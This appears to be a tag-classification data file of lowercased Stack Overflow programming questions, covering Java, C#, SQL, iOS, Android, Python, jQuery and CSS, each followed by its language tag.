how to replace a repeated char with some characters or string  i need to replace a repeated char with <code>$%</code> followed by the char followed by <code>$%</code>.     e.g.  hello  will become  he$%l$%o     the following code that i wrote gives  he$%l$%lo .    please guide   <pre><code>    int index=0;     string str1=  ;     string str2=  ;     string str4=  ;     string str5=  ;      for(int i=0;i&lt;str.length();i++) {          char ch=str.charat(i);         index=str.indexof(ch);         if(index!=i) {              str4= $% +str.charat(index)+  $% ;             str1=str.charat(index)+str5;              str2=str.replacefirst(str1 str4);          }     }     return str2; </code></pre>,java
mysql left join multiple rows from tableb  the tables below are an example table structure.    the query i am trying to write is something like:   <pre><code>select * from jobs left join assigned on jobs.id = assigned.job_id; </code></pre>   however  as you can see the left join will product multiple matches in the case of job 100  but the above query will only return one match.    is it possible to concatenate the results into a comma separated string for the left join     if possible  a step further would be  is it possible to replace the assigned.user_id with the users.name column in the concatenated comma separated string.    <strong>users</strong>   <pre><code>╔═══╦════════════╦═════════════╗ ║   ║ id         ║ name        ║ ╠═══╬════════════╬═════════════╣ ║ 1 ║ 1          ║ matt        ║ ║ 2 ║ 2          ║ phil        ║ ║ 3 ║ 3          ║ chris       ║ ╚═══╩════════════╩═════════════╝ </code></pre>   <strong>jobs</strong>   <pre><code>╔═══╦════════════╦═════════════╗ ║   ║ id         ║ name        ║ ╠═══╬════════════╬═════════════╣ ║ 1 ║ 100        ║ do this     ║ ║ 2 ║ 101        ║ do that     ║ ║ 3 ║ 102        ║ and this    ║ ╚═══╩════════════╩═════════════╝ </code></pre>   <strong>assigned</strong>   <pre><code>╔═══╦════════════╦═════════════╗ ║   ║ user_id    ║ job_id      ║ ╠═══╬════════════╬═════════════╣ ║ 1 ║ 1          ║ 100         ║ ║ 2 ║ 2          ║ 100         ║ ║ 3 ║ 1          ║ 101         ║ ╚═══╩════════════╩═════════════╝ </code></pre>,mysql
sorting multidimensional array with index and value  i have an multidimensional array consists of key and value. based on sort value i have to arrange key values for eg:   <pre><code>multidimensional array: key value 1    5 4    2 3    4 8    1 6    2  i have to arrange keys based ascending order of values  answer: 8 1 4 2 6 2 3 4 1 5  </code></pre>,java
categoryattribute and propertyinfo  i have a class that includes several hundred properties. each of the properties was declared with a [categoryattribute( my category name )] attribute clause so that it will display nicely in a propertygrid. i would like to make use of this same categoryattribute attribute to set the values of all the properties in the class that were labeled with specific categoryattribute catagories. the code below compiles and runs but it doesn t accomplish the task because att_coll doesn t contain the categoryattribute attribute that i expected that it would. does anyone know how to do this  thanks so much.   <pre><code>    class my_class     {         [categoryattribute( category one )]         public int property_1         {              get { return _property_1; }              set { _property_1 = value; }         }          [categoryattribute( category one )]         public int property_2         {              get { return _property_2; }              set { _property_2 = value; }         }     }      void clearcatagory(string category_name)     {         categoryattribute target_attribute = new categoryattribute(category_name);          type my_class_type = my_class.gettype();         propertyinfo[] prop_info_array = my_class_type.getproperties();          foreach (propertyinfo prop_info in prop_info_array)         {             attributecollection att_coll = typedescriptor.getattributes(prop_info);              categoryattribute ca = (categoryattribute) att_col[typeof(categoryattribute)];              if (ca.equals(target_attribute))             {                 prop_info.setvalue(my_class  0  null);             }          }     } </code></pre>,c#
c# - close the opened browser which has my url  how to close the opened browser with my url     current am trying with below code  it is working if browser is not running for anything else. so my code open the browser and do my process and close it.    in case browser is already opened with other use  my code the open new browser but closing all opened browsers. i want to close only last browser which i opened through code.   <pre><code>//main program process[] localbyname = process.getprocessesbyname( iexplore ); int proccnt = localbyname.count(); if (proccnt == 0) {       process proc = process.start( iexplore.exe    https://www.web.com/ );       killchildren(proc.id); } else if (proccnt &gt;= 1) {       process proc = process.start( iexplore.exe    https://www.web.com/ );       int existieid = 0;       for (int i = 0; i &lt; localbyname.count(); i++)       {             existieid = localbyname[i].id;       }         killchildren(existieid); }  //kill process private static void killchildren(int parentpid) {       managementobjectsearcher searcher = new managementobjectsearcher                 ( select * from win32_process where parentprocessid=  + parentpid);       managementobjectcollection moc = searcher.get();       foreach (managementobject mo in moc)       {           killchildren(convert.toint32(mo[ processid ]));       }       try       {           process proc = process.getprocessbyid(parentpid);           proc.kill();       }       catch (argumentexception)       {           // process already exited.       }   } </code></pre>   observed in task manager   iexplorer  is consider as parent and  iexplorer *32  is consider as children. if browser is already opened  newly opened browser is act as children and am facing issue to close it.    myself need to close only the last one which i open through code. how to do it  please give me an answer.    thanks.,c#
what is the max length of the query string supported by the  mobile  safari browser   what is the max length of the query string supported by the  mobile  safari browser  i am working on an application where i have to append all the records from sqlite db to the remote database.i am using aspx to do so.the current query string length for one record comes upto 350 characters.is it possible for me to send about 200 records in that query string(70 000 characters).i have read that safari browser supports upto 80 000 characters.i wanted to know if it is the same for the mobile safari browser. any help is appreciated!,iphone
how to implement core data in multi-threading environment  i am trying to implement core data entities in a multi-threaded environment. i understand ios guidelines  for having private managed object contexts per thread. i have read about how uimanageddocument integrates well with core data objects. can anyone suggest  if using uimanagedocument is the recommended approach  since  this was released in ios-5  will my app work on devices that have i0s 4.3.3 or earlier  also  can someone refer me to some tutorials/examples that will guide me on this topic,ios
where can i publish a .html website for free   i have written an .html file with pictures and everything  and now i m trying to publish it for free. i don t really care about domain names  i just want to publish it. does anyone know how and where can i publish a website,html
all thing is object  in .net all thing is object but i have question. i write a method    <pre><code>public static mvchtmlstring objecttable(this htmlhelper helper                                 icollection&lt;object&gt; objects  icollection&lt;string&gt; header) </code></pre>   but i don t add system.object and get error for add the namespace. my question is:if all thing in .net driven form object but why i should add the namespace,c#
how to get location name by using latitude and longitude values  in my application i have to get the location name using latitude and longitude values  i think we can get them through reverse geocoding is there any method that we can use and get the location value    thank you,iphone
having difficulty understand alloc and init  i am learning about the alloc and init but i don t understand what its supposed to mean. they gave example of    <pre><code>nsstring *emptystring = [[nsstring alloc] init]; nsarray *emptyarray = [[nsarray alloc] init]; nsdictionary *emptydictionary = [[nsdictionary alloc] init]; </code></pre>   and i got no clue what it would even be used for.   <hr>   next i had to use the stringwithstring and did this. no clue whats going on here too. can someone help me but explain it in a understandable/easy matter. thank you   <pre><code>nsstring *firstname = @ daniel ; nsstring *copy = [[nsstring alloc] stringwithstring:firstname]; nslog(@ %@ is a copy of %@   copy  firstname); </code></pre>,objective-c
how do i find out in which file or module is my function called   python 2.5 to 2.7:   <pre><code>#a.py: def foo():     pass  #b.py from a import foo foo() </code></pre>   from <code>foo()</code>  i d like to know that it has benn called in the  <code>b</code>  module. the only way i can think of right now is raising an exception  catching it and inspecting the traceback (going one level up). is there a mare natural way of doing this,python
how to get current location on google map  below is my code which give hardcoded lat long of user i want to show dynamic latlong where  ever user go map show current location of user how to do this     <pre><code>       protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_support_map_fragment);       fragmentmanager fmanager = getsupportfragmentmanager();     fragment fragment = fmanager.findfragmentbyid(r.id.map);  supportmapfragment supportmapfragment = (supportmapfragment)fragment;    googlemap supportmap = supportmapfragment.getmap();       latlng latlng = new latlng(24.89337  67.02806);    supportmap.setmaptype(googlemap.map_type_normal);    supportmap.addmarker(new markeroptions()            .position(latlng)            .title( my spot )            .snippet( this is my new spot! )   .icon(bitmapdescriptorfactory.defaultmarker(bitmapdescriptorfactory.hue_azure)));    supportmap.getuisettings().setcompassenabled(true);    supportmap.getuisettings().setzoomcontrolsenabled(true);    supportmap.animatecamera(cameraupdatefactory.newlatlngzoom(latlng  20));    } </code></pre>,android
how to return to currently view in asp.net after calling another action  hi everyone i m ran into situation like this i have this url  adminsite/uploadimg/39. when i click delete button to delete image it will call to deleteimg action and after that i want to return again to adminsite/uploadimg/39.any suggestion about this case thanks for reading.here is my code   <pre><code>    [httppost]     public actionresult uploadimg(int id  httppostedfilebase[] files)     {         byte max = 0;         var dshinh = db.sanphamhinhs.where(p =&gt; p.sanphamid == id).tolist();         if (dshinh.count &gt; 0)             max = dshinh.max(p =&gt; p.thutuhienthi);         var dsfile = files.where(p =&gt; p != null);         foreach(var f in dsfile)         {             sanphamhinh h = new sanphamhinh();             h.sanphamid = id;             h.tenhinh = f.filename;             h.thutuhienthi = ++max;             db.sanphamhinhs.add(h);             string path = server.mappath( ~/photos/  + f.filename);             f.saveas(path);         }         if (dsfile.count() &gt; 0)             db.savechanges();         return redirecttoaction( uploadimg   new { id = id });     }     public actionresult deleteimg(int id = 0)     {         try         {             sanphamhinh img = db.sanphamhinhs.find(id);             if (img == null)                 return redirecttoaction( productmanage );             db.sanphamhinhs.remove(img);             string filename = img.tenhinh;             string path = server.mappath( ~/photos/  + filename);             fileinfo file = new fileinfo(path);             if (file.exists)             {                 file.delete();             }             db.savechanges();             return view();         }         catch (exception ex)         {             object mess =  không xóa được do   + ex.message;             return view( error   mess);         }     } </code></pre>,asp.net
how do you make an element  flash  in jquery  i m brand new to jquery and have some experience using prototype. in prototype  there is a method to  flash  an element &mdash; ie. briefly highlight it in another color and have it fade back to normal so that the user s eye is drawn to it. is there such a method in jquery  i see fadein  fadeout  and animate  but i don t see anything like  flash . perhaps one of these three can be used with appropriate inputs,jquery
gap between two <div> tags with display:inline-block  so  i m using <code>display:inline-block</code> to put 2 <code>&lt;div&gt;</code> tags side by side in html. they have no margin and no padding.     still there appears to be a gap between the two <code>&lt;div&gt;</code> tags.     my question is why is there a gap in the first place. shouldn t the <code>&lt;div&gt;</code>s be flush next to each other  is this an artifact of the spec or not  this happens across browsers. (tested on ie and chrome)    here s an image <a href= https://i.stack.imgur.com/vu0co.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vu0co.jpg  alt= enter image description here ></a> <a href= http://jsfiddle.net/v60e8wm5/1/  rel= nofollow noreferrer >http://jsfiddle.net/v60e8wm5/1/</a>,html
undo functionality in jquery textarea  i am building a small text editor with jquery. i would like to add 2 buttons with  un-do  (ctrl z) and the opposite (ctrl y) functionality.    is there any way i can use the built in functionality of windows (ctrl +z  ctrl+y) to get the desired effect  instead of saving everything in stack and implementing it with jquery  it seems obvious to do so  since ctrl +z and ctrl +y do actually work when using textarea. the only change i need is to get the same effect if a user clicks on a button i generate.    gidi,jquery
is there any way to execute some code when a thread is killed via clearinterval   is there anything like a  dispose  function or  thread shutdown hook  for a specific thread running via setinterval,javascript
modify existing inline code for asp.net in a gridview  i have an item template inside a gridview which is an a:href and whose value depends on a bound field inside the same grid view. so  if the value of the bound field(testtype) is 1  there will be one link and if it is 2  it will display another link. here is the code:   <pre><code>         &lt;itemtemplate&gt;              &lt;%#                  int32.parse(databinder.eval(container.dataitem   testtype ).tostring()) == 1                    &lt;a target=\ _self\  href=\ testrequestoverview.aspx testcaseid=  + int32.parse(databinder.eval(container.dataitem   testcaseid ).tostring()) +  &amp;toggle=1  +  &amp;mode=toggle\  class=\ mytoggle\ &gt;change to performance test&lt;/a&gt;  :                   &lt;a target=\ _self\  href=\ testrequestoverview.aspx testcaseid=  + int32.parse(databinder.eval(container.dataitem   testcaseid ).tostring()) +  &amp;toggle=1  +  &amp;mode=toggle\  class=\ mytoggle\ &gt;change to unit test&lt;/a&gt;               %&gt;              &lt;/itemtemplate&gt; </code></pre>   now the requirement has changed and i have to add a third condition to check if the testtype is 0  so i can t use the ternary operator. i m not very familiar with the asp inline code syntax and wondering how to use may be if-else block and still access the field using container.dataitem  can someone help me please please please!!!,asp.net
passing data without using cookies in javascript  is there a way to pass data between pages without using cookies and a server-side language in javascript   every way i found incorporates cookies or a server-side language (php session vars).,javascript
sorting nsmutablearray twice  i have sorted some <code>nsmutablearray</code>  that has dictionaries with many fields . 2 fields are interested me the most   the date and some count integer number .    i have sorted the array with date :   <pre><code> nssortdescriptor *descriptor = [[nssortdescriptor alloc] initwithkey:@ datecreated   ascending:yes];    sortedwithdates=[sortedwithdates sortedarrayusingdescriptors:[nsarray arraywithobjects:descriptor nil]]; </code></pre>   now  i want to take only the objects in the array -for today  and sort them again according to this count integer(highest first) .    is there a simple way to do that with the same <code>nssortdescriptor</code> class      thank you .,objective-c
when does an object s property become available   <em>foreword: this is a long question and if you don t want to read and understand why i m asking it then please spare the comment  why not simply test the code  </em>    i have an object model that looks somewhat like this:   <pre><code>public class myobjectmodel {      public byte typeofnestedobject { get; set; }       public string nestedobjectinjson { get; set; }       public nestedobjectmodel1 { get; set; }      public nestedobjectmodel2 { get; set; }      public nestedobjectmodel3 { get; set; }       public myobjectmodel()      {          nestedobjectmodel1 = null;          nestedobjectmodel2 = null;          nestedobjectmodel3 = null;      }       public void deserializejsonstring()      {            if (typeofnestedobject == 1) {                 nestedobjectmodel1 =  deserialize nestedobjectinjson                                      into nestedobjectmodel1 ;           }            if (typeofnestedobject == 2) {                 nestedobjectmodel2 =  deserialize nestedobjectinjson                                      into nestedobjectmodel2 ;           }            if (typeofnestedobject == 3) { nestedobjectmodel3 ... }      } } </code></pre>   basically  the object is composed of three nested objects (<code>nestedobjectmodel1</code>  <code>nestedobjectmodel2</code> and <code>nestedobjectmodel3</code>). however  only one of them is actually used at any given time. in the database  i store fields that are used to recreate this object and one of the database fields is a json string that contains one of the three nested objects for a particular instance.    my query looks somewhat like this:   <pre><code>var theobjectmodel = from t in mydc.table                      .....                      select new myobjectmodel()                      {                          typeofnestedobject = t.typeofnestedobject                            nestedobjectinjson = t.nestedobjectinjson                        }; </code></pre>   i use the property <code>typeofnestedobject</code> to know which nested object the particular instance of <code>myobjectmodel</code> has. <strong>for the moment </strong> after the the query has executed  i run a method that reads <code>typeofnestedobject</code> and deserializes the string <code>nestedobjectinjson</code> to the appropriate type and adds the deserialized object as the corresponding nested object.    <strong>now i want to add a custom setter</strong> to <code>nestedobjectinjson</code> so that when this property is set when the query runs  the object automatically deserializes the string to the appropriate type. however  for this to work  the object would also have to have the property <code>typeofnestedobject</code> properly set. i want to write the setter like this:   <pre><code>public nestedobjectinjson {    set {         if (this.typeofnestedobject == 1) {              nestedobjectmodel1 =  deserialize nestedobjectinjson                                    into nestedobjectmodel1  ;        }    } } </code></pre>   if i write the setter like this  is the property typeofnestedobject needs to be available at the time the setter runs. if you notice  in the query  i load <code>typeofnestedobject</code> before i load <code>nestedobjectinjson</code>.     so the question is this: if i decide to remove the call to <code>deserializejsonstring</code> and create this custom setter  will the property typeofnestedobject be available because in the query it s set before <code>nestedobjectinjson</code> or is the order in which the query is written make the availability of the property <code>typeofnestedobject</code> unpredictable,c#
file path in webclient  in my asp.net application  i am writing a file in code behind. i then want to use this file as below into a handler but i get an error  illegal characters in path . i can t understand why  help please.    the value of files in below is  306963020170816111848_generic_p.pdf  and the file definitely exists in the correct path   <pre><code> webclient client = new webclient();  client.downloadstring(@ handlers/myprintpdf.ashx pdffile=  + server.mappath( ~/templates/myfiles/  + files)); // error here </code></pre>   changed to use   <pre><code>  httputility.urlencode(@ handlers/myprintpdf.ashx pdffile=  + server.mappath( ~/templates/myfiles/  + files)); </code></pre>,asp.net
how to round it off string number after two decimal points which contains special characters   i have got two strings change_inpoints and change_inpercentage .    i need to round it off after  two decimal points .   <pre><code>string change_inpoints =  510.663757 ; string change_inpercentage =   +0.095152% ; </code></pre>   this is what i tried    <pre><code>import java.text.decimalformat; public class rounditoff {     public static void main(string[] args) {         string change_inpoints =  510.663757 ;         string change_inpercentage =   +0.095152% ;         double d_inpoints = double.parsedouble(change_inpoints);         decimalformat decimal = new decimalformat( #.00 );         system.out.println( change in points   +decimal.format(d_inpoints));         change_inpercentage = change_inpercentage.replace( +     );         change_inpercentage = change_inpercentage.replace( -     );         change_inpercentage = change_inpercentage.replace( %     );         double d2_percentchange = double.parsedouble(change_inpercentage);         decimalformat decimal_2 = new decimalformat( #.00 );         system.out.println( change in percent   +decimal_2.format(d2_percentchange));     } } </code></pre>   but the issue with chnage_inpercent is that i am    <ol> <li>loosing number before the decimal point </li> <li>how can i add percentage symbol at the end   </li> </ol>   for example the current output for change_in percent is <strong>.10</strong>    it should be 0.10%    could you please tell me how to do it in better way,java
uitableview not scrolling smoothly...(iphone sdk) ..!  uitableview not scrolling smoothly...(iphone sdk) ..!!    i have implemented uitableview datasource and delegate methods in an individual separate classes.(one for delegate and one for datasource) in main program i write only:   <pre><code>//assume that all objects are allocated  objtableview.datasource=objdatasource; objtableview.delegate = objdelegate; [self.view addsubview: objtableview]; </code></pre>   when i run this code   uitable view appears but when i try to scroll it  it doesn t scroll smoothly. i have also checked that uitableviewcell doesn t redraw once the cell is initialized.    can any one tell me why this happens   how can i solve this problem       from comments:   <pre><code>listdatasource *objlistdatasource = [[listdatasource alloc]initwitharray:[[sender object] valueforkey:@ list ]];  listdelegate *objlistdelegate = [[listdelegate alloc]initwitharray:[[sender object] valueforkey:@ list ]]; tbllist = [[uitableview alloc]initwithframe:cgrectmake(0  0  320  460)];   tbllist.datasource = objlistdatasource; tbllist.delegate = objlistdelegate;  [self.view addsubview:tbllist]; [tblshoplist release]; </code></pre>   more from comments:   <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {      nsstring *cellidentifier = [nsstring stringwithformat:@ %i  indexpath.row];      uitableviewcell *cell = (uitableviewcell*)[tableview dequeuereusablecellwithidentifier:cellidentifier];      if (cell == nil) {         cell = [[[uitableviewcell alloc] initwithframe:cgrectmake(0 0 320 100) reuseidentifier:cellidentifier] autorelease];          //custom cell code      }      return cell;  } </code></pre>   more information:    i have used nsnotification which notifies to current class when parsing is complete  after receiving notification   current class method calls datasource  delegate methods (which is defined in a separate class file).    so uitableviewcell customization (which is in listdatasource) and table view(in current class) both are in different classes.,iphone
how to print prop name of a class in c#  i have a class of name myclass which has many properties   <pre><code>class myclass {     public int id { get; set; }      public string name { get; set; }      public string email { get; set; }      public string password { get; set; }      public string city { get; set; } } </code></pre>   i want to print the properties name in console.writeline like    <pre><code>static void main(string[] args)     {         myclass m = new myclass();         var s = m.gettype()                  .getfields();         console.writeline(s);            console.readkey();     } </code></pre>   but it give me every time    <pre><code>system.reflection.fieldinfo[] </code></pre>   kindly tell me how can i do this or i can do this or not,c#
replace occurrences of a string inside a html string using objective c  i have a html string in objective c.  <code>nsstring *contentstring;</code>    how do i replace the occurrences of a string inside this html string while preserving the html tags       i would use the statement <code>contentstring = [contentstring stringbyreplacingoccurrencesofstring: @ string  withstring : @ new string ];</code> but that will also replace the text within html tags. i need to preserve those. i am facing a similar problem while using 3rd party html parsers.    the contents of contentstring are :    <pre><code>&lt;html xmlns= http://www.w3.org/1999/xhtml  xmlns:epub= http://www.idpf.org/2007/ops  lang= en &gt;&lt;head&gt;&lt;link rel= stylesheet  type= text/css  href= ../resource/core.css  /&gt;&lt;link rel= stylesheet  type= text/css  href= ../resource/inserts.css  /&gt;&lt;link rel= stylesheet  type= text/css  href= ../resource/jquery-ui.css  /&gt;&lt;link rel= stylesheet  type= text/css  href= ../resource/jquery.qtip.css  /&gt;&lt;link type= text/css  rel= stylesheet  href= ../resource/template-opus.css  data-wundr-theme= true  /&gt;&lt;link type= text/css  rel= stylesheet  href= ../resource/font-scheme-opus.css 1395092689.864661  data-wundr-font-scheme= true  /&gt;&lt;link type= text/css  rel= stylesheet  href= ../resource/color-scheme-opus.css 1395092689.864992  data-wundr-color-scheme= true  /&gt;&lt;link type= text/css  rel= stylesheet  href= ../resource/paragraph-styles.css 1395092689.865252  data-wundr-paragraph-style= true  /&gt;&lt;/head&gt;&lt;body data-wundr-page= content &gt;&lt;div class= wundr-guides  style= display: none; &gt;&lt;/div&gt;&lt;div class= wundr-page-guide  style= display: none; &gt;&lt;/div&gt;&lt;article data-wundr= chapter  class= wundr-padding-regular &gt;&lt;header&gt;&lt;h2 class= pw-par-style-chapter-number pw-par-style-big-letter  data-wundr-key= chapter-number &gt;1&lt;/h2&gt;&lt;h1 class= pw-par-style  data-wundr-key= chapter-title  contenteditable= true  data-wundr-dummy= true &gt;chapter&lt;/h1&gt;&lt;/header&gt;&lt;section class= pw-par-style-body  data-wundr-epub-type= subchapter  contenteditable= true &gt;&lt;p data-wundr-dummy= true &gt;lorem ipsum dolor sit amet  consectetur adipiscing elit. praesent nec mauris lorem. quisque luctus velit cursus elit sodales vulputate. lorem ipsum dolor sit amet  consectetur adipiscing elit. quisque diam augue  varius vitae auctor eu  malesuada in purus. quisque dapibus justo sed nisi gravida malesuada. sed consequat enim condimentum lorem semper a iaculis mi consequat. donec euismod lobortis est  at tincidunt enim tempor id. nunc id nunc quis enim vehicula bibendum sed ut orci. donec vehicula semper leo  a auctor tortor bibendum sed. quisque cursus sapien a eros convallis eget molestie ligula dignissim. fusce ullamcorper posuere augue et fermentum. integer at dolor sed lorem porttitor iaculis. sed vitae felis id dolor vulputate hendrerit ut sed nisl.&lt;/p&gt;&lt;p data-wundr-dummy= true &gt;lorem ipsum dolor sit amet  consectetur adipiscing elit. praesent nec mauris lorem. quisque luctus velit cursus elit sodales vulputate. lorem ipsum dolor sit amet  consectetur adipiscing elit. quisque diam augue  varius vitae auctor eu  malesuada in purus. quisque dapibus justo sed nisi gravida malesuada. sed consequat enim condimentum lorem semper a iaculis mi consequat. donec euismod lobortis est  at tincidunt enim tempor id. nunc id nunc quis enim vehicula bibendum sed ut orci. donec vehicula semper leo  a auctor tortor bibendum sed. quisque cursus sapien a eros convallis eget molestie ligula dignissim. fusce ullamcorper posuere augue et fermentum. integer at dolor sed lorem porttitor iaculis. sed vitae felis id dolor vulputate hendrerit ut sed nisl.&lt;/p&gt;&lt;/section&gt;&lt;/article&gt;&lt;div&gt;&lt;/div&gt;&lt;/body&gt;&lt;/html&gt; </code></pre>,objective-c
reading from file works in iphone 6.1 simulator  but not in iphone device (ios 6.1.3)  i have a  write  button that takes whatever in a textfild  and appends to a designated file. i also have a  read  button that reads from the content of the designated file  and displays it on the screen. the  write  button calls writedatatofile:(id)sender  and the  read  button calls  readdatafromfile:(id)sender.    the problem is that the following simple code works fine on iphone 6.1 simulator (xcode 4.6.2)  but does not display anything in a read device  e.g.  ipod with ios 6.1.3.    i suspect the problem is something related to encoding:nsutf8stringencoding. however  i tried nsutf16stringencoding and nsutf32stringencoding  and it still didn’t work on the real device (but disply scrambled words on simulator).    where did i do wrong  i would appreciate very much if somebody can give me some pointers.   <pre><code>- (void)viewdidload {     [super viewdidload];     nsarray *documentpaths = nssearchpathfordirectoriesindomains(nsdocumentdirectory     nsuserdomainmask  yes);     nsstring *documentsdirectory = [documentpaths objectatindex:0];     _filename = [documentsdirectory stringbyappendingpathcomponent:@ data.txt ]; }   - (ibaction)writedatatofile:(id)sender {     nsstring *str = tfdata.text;     str = [str stringbyappendingformat:@ \n ];     _filehandle = [nsfilehandle filehandleforupdatingatpath:_filename];     [_filehandle seektoendoffile];     //convert nsstring to nsdata     [_filehandle writedata: [str datausingencoding:nsutf8stringencoding]];     [_filehandle  closefile];      [tfdata resignfirstresponder]; }  - (ibaction)readdatafromfile:(id)sender {     [tfdata resignfirstresponder];     //lbout is a uilabel     lbout.text = [nsstring stringwithcontentsoffile:_filename encoding:nsutf8stringencoding error:null]; } </code></pre>,ios
what is / in css  <pre><code>background: url(image) 0 / cover fixed; </code></pre>   why is there:   <ul> <li>a <code>0</code> (zero) </li> <li>a <code>/</code> (forward slash)   </li> </ul>   what does that mean/do in css,css
how to get static image of iframe youtube video  i am trying to get just the image of the standard iframe youtube video that pops up. i know that you can get generated images by using  <a href= https://img.youtube.com/vi/  rel= nofollow noreferrer >https://img.youtube.com/vi/</a> youtubeid /default.jpg . but i want the an image of what comes up when you just use an iframe for the youtube video when you can click on it.,html
remove n number of dot(.) from string in java  i have the following string and i want to remove dynamic number of dot(.) at the end of the string.   <pre><code> abc.....  </code></pre>   <strong>dot(.) can be more than one</strong>,java
how to create dynamic property in __init__  i have a simple scenario. i pass a kwarg <code>prop_name</code> and <code>prop_func</code> into my class init that i want to turn into property such as:   <pre><code>class a:     def __init__(self  *args  prop_name=none  prop_func=none  **kwargs):         if prop_name is not none and prop_func is not none:             setattr(self  prop_name  property(prop_func))         super().__init__(*args  **kwargs) </code></pre>   why cannot i then do something like:   <pre><code>a = a(prop_name= some_name   prop_func=lambda _: 1) print(a.some_name) </code></pre>   the result is:   <pre><code>&gt;&gt;&gt; &lt;property object at 0x7feb3f27cf98&gt; </code></pre>   however  this works:   <pre><code>class a:     some_name = property(lambda _: 1)  a = a() print(a.some_name)  &gt;&gt;&gt; 1 </code></pre>   edit: possible workaround to get the same bahaviour. please correct if there is any practical difference.   <pre><code>class a:     def __init__(self  *args  prop_name=none  prop_func=none  **kwargs):         self._prop_name = prop_name         self._prop_func = prop_func      def __getattr__(self  item):         if item == self._prop_name:             return self._prop_func(self)  # this solution does not accept arguments         super().__getattr__(self  item)  a = a(prop_name= some_name   prop_func=lambda _: 1) print(a.some_name) &gt;&gt;&gt; 1 </code></pre>   edit 2: explanation of why this behaviour solution is required. this behaviour is supposed to happen in a <code>mixin</code> for a django view. the goal is to be able to dynamically create related views between related objects. for example:   <pre><code>class country(models.model):     ... some attributes ...   class city(models.model):     country = models.foreignkey(country)     .... some attributes ... </code></pre>   it would be very nice if  directly in the view  we could refer to the city s object generically like so:   <pre><code>self.parent </code></pre>   i ve done this in the mixin that is now shown here  it s way out of scope. however  for convenience sake  it would also be nice if we could refer to this <code>parent</code> object directly as the field name itself  ie:   <pre><code>self.continent # basically just calls self.parent </code></pre>   this makes the code very intuitive to read. an example of a very simplified view:   <pre><code>class countrydetailview(parentmixin  detailview):     model = country     parent_model = continent      def get_context_data(self  **kwargs):         context = super().get_context_data(**kwargs)         context[ continent ] = self.continent  # equivalent to self.parent         return context </code></pre>,python
error: expected expression before  else   i am making a button that pauses and plays a sound. here is my coding:    .h:   <pre><code>@interface rootviewcontroller : uiviewcontroller { }  @property (nonatomic  retain) avaudioplayer *theaudio; -(ibaction)pause;  @end </code></pre>   .m:   <pre><code>- (void)viewdidload {     nsstring *path = [[nsbundle mainbundle] pathforresource:@ mathmusic1  oftype:@ wav ];     self.theaudio = [[[avaudioplayer alloc] initwithcontentsofurl:[nsurl fileurlwithpath:path] error:null] autorelease];     theaudio.delegate = self;     [theaudio play];     theaudio.numberofloops = -1;      [super viewdidload];   } </code></pre>   now i am trying to make a button to pause this so here is that coding: (already declared in .h)   <pre><code>-(ibaction)pause {      [theaudio pause];         else // expected expression before  else      [theaudio play];  } </code></pre>   / error: expected expression before  else,objective-c
angular - why use $resource over $http for restful services  i have been reading that to call http  you need to call $http service  and rest services are contained in http  so to call rest it s better to call $resource as they deal better with rest services  and this is what i wanted to do at work  until this guy told me let s just use $http for rest as he does that in all his projects  i couldn t tell him why to really use $resource over $http except that i have just read it s better  but can someone tell me why is it better,angularjs
sql to select rows where at least one row in a group  has a corresponding entry in another table  i have two tables   <pre><code>table1: fielda  fieldb table2: fielda </code></pre>   <code>table1</code> is grouped by <code>fieldb</code>  and <code>fielda</code> is the link between the two tables.    for each grouping in <code>table1</code>  if all rows in that group do not have an entry in <code>table2</code>  then return no rows corresponding to this group. if at least one row in the group has an entry in <code>table2</code>  then return all rows in the group.    is this kind of query possible     thanks    simon,sql
how to stop user from performing any activity until he enters correct password  please have a look at the attached image it shows screen that i want for my activity. i want to stop user from proceeding further until he enters correct password. i want to this screen to come up when my phone boots after restarting.    i have written listener for listener device boot process.   <pre><code>public class devicestartuplistener extends broadcastreceiver {      @override     public void onreceive(context context  intent intent)     {         if(intent.getaction().equals( android.intent.action.boot_completed ))         {             // some code             intent authenticationintent = new intent(applicationcontext  poststartupauthenticationactivity.class);             authenticationintent.setflags(intent.flag_activity_new_task);             context.startactivity(authenticationintent);         }     } } </code></pre>   i want my poststartupauthenticationactivity to cover complete screen and ask user for password. this activity should hide all the button at bottom of screen. your should not be able to move to any other activity until he enters correct password or until he enters wrong password for consecutive 3 times.     in poststartupauthenticationactivity i have written following code in oncreate method  but this is not working correctly  the activity is displayed full screen but the button at the bottom of screen are still visible eg home button and back button are still visible  i want activity to open in full screen mode but no button should visible at the bottom of screen  my present activity is looking like this  please find second attached image:-   <pre><code>@override protected void oncreate(bundle savedinstancestate)  {     super.oncreate(savedinstancestate);      mintent = getintent();      //set fullscreen and no title     //        requestwindowfeature(window.feature_no_title);      getwindow().setflags(windowmanager.layoutparams.flag_fullscreen  windowmanager.layoutparams.flag_fullscreen);  setcontentview(r.layout.post_starup_authentication_activity); } </code></pre>   thanks in advance. <img src= https://i.stack.imgur.com/vrzg5.jpg  alt= activity should look like this an text box should be used for entering password. >,android
how get unique and null entries from database   i have a table with 3 columns: <code>label_value  language_value  language</code>. it s table for labels  where <code>label_value =  name </code> of the label  language_value - translation of the label  language - id of language which is using. so  i need to extract <code>label_value</code>  <code>language_value</code> for english (language=45) and <code>language_value</code> for my language(language=24). please  note  that not all english labels has translation to my language  but i need to extract all english labels and if the label has no translation to my english then it must return this label with null <code>language_value</code> for my language. so  i have made the following code:   <pre><code>select e.label_value  e.language_value from labels e  labels t where e.label_value=t.label_value and e.language=45 and t.language=24   </code></pre>   i understand that it s not full and right query  because it hasn t returned not all english labels and returned some labels 2 times. please  edit it. thank you.     updated:    also i need that queries for locale satisfy the condition: t.approved= 1  or t.user_id=123.,sql
